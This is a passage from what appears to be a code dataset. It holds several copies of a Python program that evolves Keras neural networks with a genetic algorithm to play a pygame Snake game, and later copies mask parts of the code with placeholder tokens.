range(total_models):\n current += fitness[idx]\n if current > choice:\n parent = idx\n break\n\n return parent\n\n\ndef genetic_updates():\n global current_pool\n global fitness\n global generation\n new_weights = []\n\n # Calculate total fitness\n total_fitness = sum(fitness)\n \n # Breeding time\n for i in range(total_models // 2):\n # Pick two parents\n parent_1 = roulette_selection(total_fitness)\n parent_2 = roulette_selection(total_fitness)\n \n # Model crossover between two parents\n new = model_crossover(parent_1, parent_2)\n \n # Mutate models\n update_w1 = model_mutate(new[0])\n update_w2 = model_mutate(new[1])\n new_weights.append(update_w1)\n new_weights.append(update_w2)\n\n # Set new weights, reset fitness\n for i in range(len(new_weights)):\n current_pool[i].set_weights(new_weights[i])\n\n generation += 1\n return\n\ndef check_if_closer(snake, fruit):\n head = snake.position[0]\n prev = snake.position[1]\n\n # Calculate the heads distance from the fruit, and the previous spot\n # to see if it got closer\n head_dis = math.sqrt((fruit.pos[0] - head[0]) ** 2 + (fruit.pos[1] - head[1]) ** 2)\n prev_dis = math.sqrt((fruit.pos[0] - prev[0]) ** 2 + (fruit.pos[1] - prev[1]) ** 2)\n\n if head_dis > prev_dis:\n return False\n return True\n\n\nclass App:\n '''\n Main App for game\n '''\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n \n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n \n def on_event(self, event):\n\n # Quit game\n if event.type == pygame.QUIT:\n self._running = False\n \n # Change direction of snake\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n # Increase speed of game\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n # Decrease speed of game\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n \n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n # Adjust fitness, reset move counter\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n \n if check_if_closer(self.snake, self.fruit):\n # Reward snake for moving towards fruit\n fitness[model_num] += 10\n\n self.moves += 1\n \n def on_render(self, model_num):\n self._display_surf.fill((0,124,0))\n \n # Fill every other space to create a multi color grid\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n\n # Draw sanke and fruit\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption(\"Gen: \" + str(generation) + \" Model: \" + str(model_num) + \" Score: \" + str(self.snake.score) + \" Tick \" + str(self.frames))\n pygame.display.update()\n \n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n \n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n \n while (self._running):\n for event in pygame.event.get():\n self.on_event(event)\n \n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n\n # Checks if game is paused\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n\n # Reset when snake dies\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n \n # Print fitness\n print(fitness[i])\n break\n\n # Clean up and print score\n # self.on_cleanup()\n print(int(self.snake.score))\n \nif __name__ == \"__main__\" :\n # Init models\n for i in range(total_models):\n model = create_model()\n current_pool.append(model)\n fitness.append(-100)\n score.append(0)\n\n if load == 1:\n for i in range(total_models):\n current_pool[i].load_weights(load_location + str(i) + \".keras\")\n\ntheApp = App()\nwhile True:\n\n # Reset fitness scores and player scores\n for i in range(total_models):\n fitness[i] = 0\n score[i] = 0\n\n # Play game for each model\n for i in range(total_models): \n theApp.on_execute(i)\n \n # Print high score to screen\n print(\"Higest score: \" + str(max(score)) + \" Model: \" + str(score.index(max(score))) + \" Gen: \" + str(generation))\n \n # Write these values to a file\n # fi = open(\"results.txt\", \"a+\")\n # fi.write(\"Higest score: \" + str(max(score)) + \" Model: \" + str(score.index(max(score))) + \" Gen: \" + str(generation) + \"\\r\\n\")\n # fi.close()\n\n # Save pool\n if save == 1:\n save_pool()\n genetic_updates()",
"import random\nimport sys\nimport math\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Flatten, Conv2D, Activation\nfrom snake_game import Snake\nfrom snake_game import Fruit\nimport pygame\nfrom pygame.locals import *\ntotal_models = 50\ncurrent_pool = []\nfitness = []\ngeneration = 264\nsave = 0\nsave_location = 'Saved_Models/model'\nload = 1\nload_location = 'Saved_Models-better/model'\nWIDTH = 480\nHEIGHT = 480\nGRID_D = 12\nBLOCK_W = WIDTH / GRID_D\nBLOCK_H = HEIGHT / GRID_D\nMAX_MOVES = 150\nscore = []\n\n\ndef save_pool():\n for i in range(total_models):\n current_pool[i].save_weights(save_location + str(i) + '.keras')\n print('Pool saved')\n\n\ndef create_model():\n \"\"\"\n Create Neural Network as a keras model\n \"\"\"\n model = Sequential()\n model.add(Dense(12, input_dim=8, activation='relu'))\n model.add(Dense(16, activation='relu'))\n model.add(Dense(4, activation='sigmoid'))\n model.compile(loss='mse', optimizer='adam')\n return model\n\n\ndef predict_direction(snake, fruit, model_num):\n \"\"\"\n This function feeds information into the model, then determines\n which direction the snake should go\n \"\"\"\n direction = snake.check_head()\n fruit = snake.check_fruit(fruit)\n n_input = np.concatenate([direction, fruit])\n n_input = np.atleast_2d(n_input)\n output = current_pool[model_num].predict(n_input, 1)\n return output.argmax()\n\n\ndef model_crossover(parent_1, parent_2):\n \"\"\"\n Produce offspring based on the best parents\n \"\"\"\n global current_pool\n weight1 = current_pool[parent_1].get_weights()\n weight2 = current_pool[parent_2].get_weights()\n new_weight1 = weight1\n new_weight2 = weight2\n gene = random.randint(0, len(new_weight1) - 1)\n new_weight1[gene] = weight2[gene]\n new_weight2[gene] = weight1[gene]\n return np.asarray([new_weight1, new_weight2])\n\n\ndef model_mutate(weights):\n \"\"\"\n Mutate the weights of a model\n \"\"\"\n for i in range(len(weights)):\n for j in range(len(weights[i])):\n if random.uniform(0, 1) > 0.7:\n change = random.uniform(-0.5, 0.5)\n weights[i][j] += change\n return weights\n\n\ndef roulette_selection(total_fitness):\n global fitness\n choice = random.randint(0, total_fitness)\n parent = 0\n current = 0\n for idx in range(total_models):\n current += fitness[idx]\n if current > choice:\n parent = idx\n break\n return parent\n\n\ndef genetic_updates():\n global current_pool\n global fitness\n global generation\n new_weights = []\n total_fitness = sum(fitness)\n for i in range(total_models // 2):\n parent_1 = roulette_selection(total_fitness)\n parent_2 = roulette_selection(total_fitness)\n new = model_crossover(parent_1, parent_2)\n update_w1 = model_mutate(new[0])\n update_w2 = model_mutate(new[1])\n new_weights.append(update_w1)\n new_weights.append(update_w2)\n for i in range(len(new_weights)):\n current_pool[i].set_weights(new_weights[i])\n generation += 1\n return\n\n\ndef check_if_closer(snake, fruit):\n head = snake.position[0]\n prev = snake.position[1]\n head_dis = math.sqrt((fruit.pos[0] - head[0]) ** 2 + (fruit.pos[1] -\n head[1]) ** 2)\n prev_dis = math.sqrt((fruit.pos[0] - prev[0]) ** 2 + (fruit.pos[1] -\n prev[1]) ** 2)\n if head_dis > prev_dis:\n return False\n return True\n\n\nclass App:\n \"\"\"\n Main App for game\n \"\"\"\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\nif __name__ == '__main__':\n for i in range(total_models):\n model = create_model()\n current_pool.append(model)\n fitness.append(-100)\n score.append(0)\n if load == 1:\n for i in range(total_models):\n current_pool[i].load_weights(load_location + str(i) + '.keras')\ntheApp = App()\nwhile True:\n for i in range(total_models):\n fitness[i] = 0\n score[i] = 0\n for i in range(total_models):\n theApp.on_execute(i)\n print('Higest score: ' + str(max(score)) + ' Model: ' + str(score.index\n (max(score))) + ' Gen: ' + str(generation))\n if save == 1:\n save_pool()\n genetic_updates()\n",
"<import token>\ntotal_models = 50\ncurrent_pool = []\nfitness = []\ngeneration = 264\nsave = 0\nsave_location = 'Saved_Models/model'\nload = 1\nload_location = 'Saved_Models-better/model'\nWIDTH = 480\nHEIGHT = 480\nGRID_D = 12\nBLOCK_W = WIDTH / GRID_D\nBLOCK_H = HEIGHT / GRID_D\nMAX_MOVES = 150\nscore = []\n\n\ndef save_pool():\n for i in range(total_models):\n current_pool[i].save_weights(save_location + str(i) + '.keras')\n print('Pool saved')\n\n\ndef create_model():\n \"\"\"\n Create Neural Network as a keras model\n \"\"\"\n model = Sequential()\n model.add(Dense(12, input_dim=8, activation='relu'))\n model.add(Dense(16, activation='relu'))\n model.add(Dense(4, activation='sigmoid'))\n model.compile(loss='mse', optimizer='adam')\n return model\n\n\ndef predict_direction(snake, fruit, model_num):\n \"\"\"\n This function feeds information into the model, then determines\n which direction the snake should go\n \"\"\"\n direction = snake.check_head()\n fruit = snake.check_fruit(fruit)\n n_input = np.concatenate([direction, fruit])\n n_input = np.atleast_2d(n_input)\n output = current_pool[model_num].predict(n_input, 1)\n return output.argmax()\n\n\ndef model_crossover(parent_1, parent_2):\n \"\"\"\n Produce offspring based on the best parents\n \"\"\"\n global current_pool\n weight1 = current_pool[parent_1].get_weights()\n weight2 = current_pool[parent_2].get_weights()\n new_weight1 = weight1\n new_weight2 = weight2\n gene = random.randint(0, len(new_weight1) - 1)\n new_weight1[gene] = weight2[gene]\n new_weight2[gene] = weight1[gene]\n return np.asarray([new_weight1, new_weight2])\n\n\ndef model_mutate(weights):\n \"\"\"\n Mutate the weights of a model\n \"\"\"\n for i in range(len(weights)):\n for j in range(len(weights[i])):\n if random.uniform(0, 1) > 0.7:\n change = random.uniform(-0.5, 0.5)\n weights[i][j] += change\n return weights\n\n\ndef roulette_selection(total_fitness):\n global fitness\n choice = random.randint(0, total_fitness)\n parent = 0\n current = 0\n for idx in range(total_models):\n current += fitness[idx]\n if current > choice:\n parent = idx\n break\n return parent\n\n\ndef genetic_updates():\n global current_pool\n global fitness\n global generation\n new_weights = []\n total_fitness = sum(fitness)\n for i in range(total_models // 2):\n parent_1 = roulette_selection(total_fitness)\n parent_2 = roulette_selection(total_fitness)\n new = model_crossover(parent_1, parent_2)\n update_w1 = model_mutate(new[0])\n update_w2 = model_mutate(new[1])\n new_weights.append(update_w1)\n new_weights.append(update_w2)\n for i in range(len(new_weights)):\n current_pool[i].set_weights(new_weights[i])\n generation += 1\n return\n\n\ndef check_if_closer(snake, fruit):\n head = snake.position[0]\n prev = snake.position[1]\n head_dis = math.sqrt((fruit.pos[0] - head[0]) ** 2 + (fruit.pos[1] -\n head[1]) ** 2)\n prev_dis = math.sqrt((fruit.pos[0] - prev[0]) ** 2 + (fruit.pos[1] -\n prev[1]) ** 2)\n if head_dis > prev_dis:\n return False\n return True\n\n\nclass App:\n \"\"\"\n Main App for game\n \"\"\"\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\nif __name__ == '__main__':\n for i in range(total_models):\n model = create_model()\n current_pool.append(model)\n fitness.append(-100)\n score.append(0)\n if load == 1:\n for i in range(total_models):\n current_pool[i].load_weights(load_location + str(i) + '.keras')\ntheApp = App()\nwhile True:\n for i in range(total_models):\n fitness[i] = 0\n score[i] = 0\n for i in range(total_models):\n theApp.on_execute(i)\n print('Higest score: ' + str(max(score)) + ' Model: ' + str(score.index\n (max(score))) + ' Gen: ' + str(generation))\n if save == 1:\n save_pool()\n genetic_updates()\n",
"<import token>\n<assignment token>\n\n\ndef save_pool():\n for i in range(total_models):\n current_pool[i].save_weights(save_location + str(i) + '.keras')\n print('Pool saved')\n\n\ndef create_model():\n \"\"\"\n Create Neural Network as a keras model\n \"\"\"\n model = Sequential()\n model.add(Dense(12, input_dim=8, activation='relu'))\n model.add(Dense(16, activation='relu'))\n model.add(Dense(4, activation='sigmoid'))\n model.compile(loss='mse', optimizer='adam')\n return model\n\n\ndef predict_direction(snake, fruit, model_num):\n \"\"\"\n This function feeds information into the model, then determines\n which direction the snake should go\n \"\"\"\n direction = snake.check_head()\n fruit = snake.check_fruit(fruit)\n n_input = np.concatenate([direction, fruit])\n n_input = np.atleast_2d(n_input)\n output = current_pool[model_num].predict(n_input, 1)\n return output.argmax()\n\n\ndef model_crossover(parent_1, parent_2):\n \"\"\"\n Produce offspring based on the best parents\n \"\"\"\n global current_pool\n weight1 = current_pool[parent_1].get_weights()\n weight2 = current_pool[parent_2].get_weights()\n new_weight1 = weight1\n new_weight2 = weight2\n gene = random.randint(0, len(new_weight1) - 1)\n new_weight1[gene] = weight2[gene]\n new_weight2[gene] = weight1[gene]\n return np.asarray([new_weight1, new_weight2])\n\n\ndef model_mutate(weights):\n \"\"\"\n Mutate the weights of a model\n \"\"\"\n for i in range(len(weights)):\n for j in range(len(weights[i])):\n if random.uniform(0, 1) > 0.7:\n change = random.uniform(-0.5, 0.5)\n weights[i][j] += change\n return weights\n\n\ndef roulette_selection(total_fitness):\n global fitness\n choice = random.randint(0, total_fitness)\n parent = 0\n current = 0\n for idx in range(total_models):\n current += fitness[idx]\n if current > choice:\n parent = idx\n break\n return parent\n\n\ndef genetic_updates():\n global current_pool\n global fitness\n global generation\n new_weights = []\n total_fitness = sum(fitness)\n for i in range(total_models // 2):\n parent_1 = roulette_selection(total_fitness)\n parent_2 = roulette_selection(total_fitness)\n new = model_crossover(parent_1, parent_2)\n update_w1 = model_mutate(new[0])\n update_w2 = model_mutate(new[1])\n new_weights.append(update_w1)\n new_weights.append(update_w2)\n for i in range(len(new_weights)):\n current_pool[i].set_weights(new_weights[i])\n generation += 1\n return\n\n\ndef check_if_closer(snake, fruit):\n head = snake.position[0]\n prev = snake.position[1]\n head_dis = math.sqrt((fruit.pos[0] - head[0]) ** 2 + (fruit.pos[1] -\n head[1]) ** 2)\n prev_dis = math.sqrt((fruit.pos[0] - prev[0]) ** 2 + (fruit.pos[1] -\n prev[1]) ** 2)\n if head_dis > prev_dis:\n return False\n return True\n\n\nclass App:\n \"\"\"\n Main App for game\n \"\"\"\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\nif __name__ == '__main__':\n for i in range(total_models):\n model = create_model()\n current_pool.append(model)\n fitness.append(-100)\n score.append(0)\n if load == 1:\n for i in range(total_models):\n current_pool[i].load_weights(load_location + str(i) + '.keras')\n<assignment token>\nwhile True:\n for i in range(total_models):\n fitness[i] = 0\n score[i] = 0\n for i in range(total_models):\n theApp.on_execute(i)\n print('Higest score: ' + str(max(score)) + ' Model: ' + str(score.index\n (max(score))) + ' Gen: ' + str(generation))\n if save == 1:\n save_pool()\n genetic_updates()\n",
"<import token>\n<assignment token>\n\n\ndef save_pool():\n for i in range(total_models):\n current_pool[i].save_weights(save_location + str(i) + '.keras')\n print('Pool saved')\n\n\ndef create_model():\n \"\"\"\n Create Neural Network as a keras model\n \"\"\"\n model = Sequential()\n model.add(Dense(12, input_dim=8, activation='relu'))\n model.add(Dense(16, activation='relu'))\n model.add(Dense(4, activation='sigmoid'))\n model.compile(loss='mse', optimizer='adam')\n return model\n\n\ndef predict_direction(snake, fruit, model_num):\n \"\"\"\n This function feeds information into the model, then determines\n which direction the snake should go\n \"\"\"\n direction = snake.check_head()\n fruit = snake.check_fruit(fruit)\n n_input = np.concatenate([direction, fruit])\n n_input = np.atleast_2d(n_input)\n output = current_pool[model_num].predict(n_input, 1)\n return output.argmax()\n\n\ndef model_crossover(parent_1, parent_2):\n \"\"\"\n Produce offspring based on the best parents\n \"\"\"\n global current_pool\n weight1 = current_pool[parent_1].get_weights()\n weight2 = current_pool[parent_2].get_weights()\n new_weight1 = weight1\n new_weight2 = weight2\n gene = random.randint(0, len(new_weight1) - 1)\n new_weight1[gene] = weight2[gene]\n new_weight2[gene] = weight1[gene]\n return np.asarray([new_weight1, new_weight2])\n\n\ndef model_mutate(weights):\n \"\"\"\n Mutate the weights of a model\n \"\"\"\n for i in range(len(weights)):\n for j in range(len(weights[i])):\n if random.uniform(0, 1) > 0.7:\n change = random.uniform(-0.5, 0.5)\n weights[i][j] += change\n return weights\n\n\ndef roulette_selection(total_fitness):\n global fitness\n choice = random.randint(0, total_fitness)\n parent = 0\n current = 0\n for idx in range(total_models):\n current += fitness[idx]\n if current > choice:\n parent = idx\n break\n return parent\n\n\ndef genetic_updates():\n global current_pool\n global fitness\n global generation\n new_weights = []\n total_fitness = sum(fitness)\n for i in range(total_models // 2):\n parent_1 = roulette_selection(total_fitness)\n parent_2 = roulette_selection(total_fitness)\n new = model_crossover(parent_1, parent_2)\n update_w1 = model_mutate(new[0])\n update_w2 = model_mutate(new[1])\n new_weights.append(update_w1)\n new_weights.append(update_w2)\n for i in range(len(new_weights)):\n current_pool[i].set_weights(new_weights[i])\n generation += 1\n return\n\n\ndef check_if_closer(snake, fruit):\n head = snake.position[0]\n prev = snake.position[1]\n head_dis = math.sqrt((fruit.pos[0] - head[0]) ** 2 + (fruit.pos[1] -\n head[1]) ** 2)\n prev_dis = math.sqrt((fruit.pos[0] - prev[0]) ** 2 + (fruit.pos[1] -\n prev[1]) ** 2)\n if head_dis > prev_dis:\n return False\n return True\n\n\nclass App:\n \"\"\"\n Main App for game\n \"\"\"\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<assignment token>\n\n\ndef save_pool():\n for i in range(total_models):\n current_pool[i].save_weights(save_location + str(i) + '.keras')\n print('Pool saved')\n\n\ndef create_model():\n \"\"\"\n Create Neural Network as a keras model\n \"\"\"\n model = Sequential()\n model.add(Dense(12, input_dim=8, activation='relu'))\n model.add(Dense(16, activation='relu'))\n model.add(Dense(4, activation='sigmoid'))\n model.compile(loss='mse', optimizer='adam')\n return model\n\n\ndef predict_direction(snake, fruit, model_num):\n \"\"\"\n This function feeds information into the model, then determines\n which direction the snake should go\n \"\"\"\n direction = snake.check_head()\n fruit = snake.check_fruit(fruit)\n n_input = np.concatenate([direction, fruit])\n n_input = np.atleast_2d(n_input)\n output = current_pool[model_num].predict(n_input, 1)\n return output.argmax()\n\n\ndef model_crossover(parent_1, parent_2):\n \"\"\"\n Produce offspring based on the best parents\n \"\"\"\n global current_pool\n weight1 = current_pool[parent_1].get_weights()\n weight2 = current_pool[parent_2].get_weights()\n new_weight1 = weight1\n new_weight2 = weight2\n gene = random.randint(0, len(new_weight1) - 1)\n new_weight1[gene] = weight2[gene]\n new_weight2[gene] = weight1[gene]\n return np.asarray([new_weight1, new_weight2])\n\n\ndef model_mutate(weights):\n \"\"\"\n Mutate the weights of a model\n \"\"\"\n for i in range(len(weights)):\n for j in range(len(weights[i])):\n if random.uniform(0, 1) > 0.7:\n change = random.uniform(-0.5, 0.5)\n weights[i][j] += change\n return weights\n\n\ndef roulette_selection(total_fitness):\n global fitness\n choice = random.randint(0, total_fitness)\n parent = 0\n current = 0\n for idx in range(total_models):\n current += fitness[idx]\n if current > choice:\n parent = idx\n break\n return parent\n\n\ndef genetic_updates():\n global current_pool\n global fitness\n global generation\n new_weights = []\n total_fitness = sum(fitness)\n for i in range(total_models // 2):\n parent_1 = roulette_selection(total_fitness)\n parent_2 = roulette_selection(total_fitness)\n new = model_crossover(parent_1, parent_2)\n update_w1 = model_mutate(new[0])\n update_w2 = model_mutate(new[1])\n new_weights.append(update_w1)\n new_weights.append(update_w2)\n for i in range(len(new_weights)):\n current_pool[i].set_weights(new_weights[i])\n generation += 1\n return\n\n\n<function token>\n\n\nclass App:\n \"\"\"\n Main App for game\n \"\"\"\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n 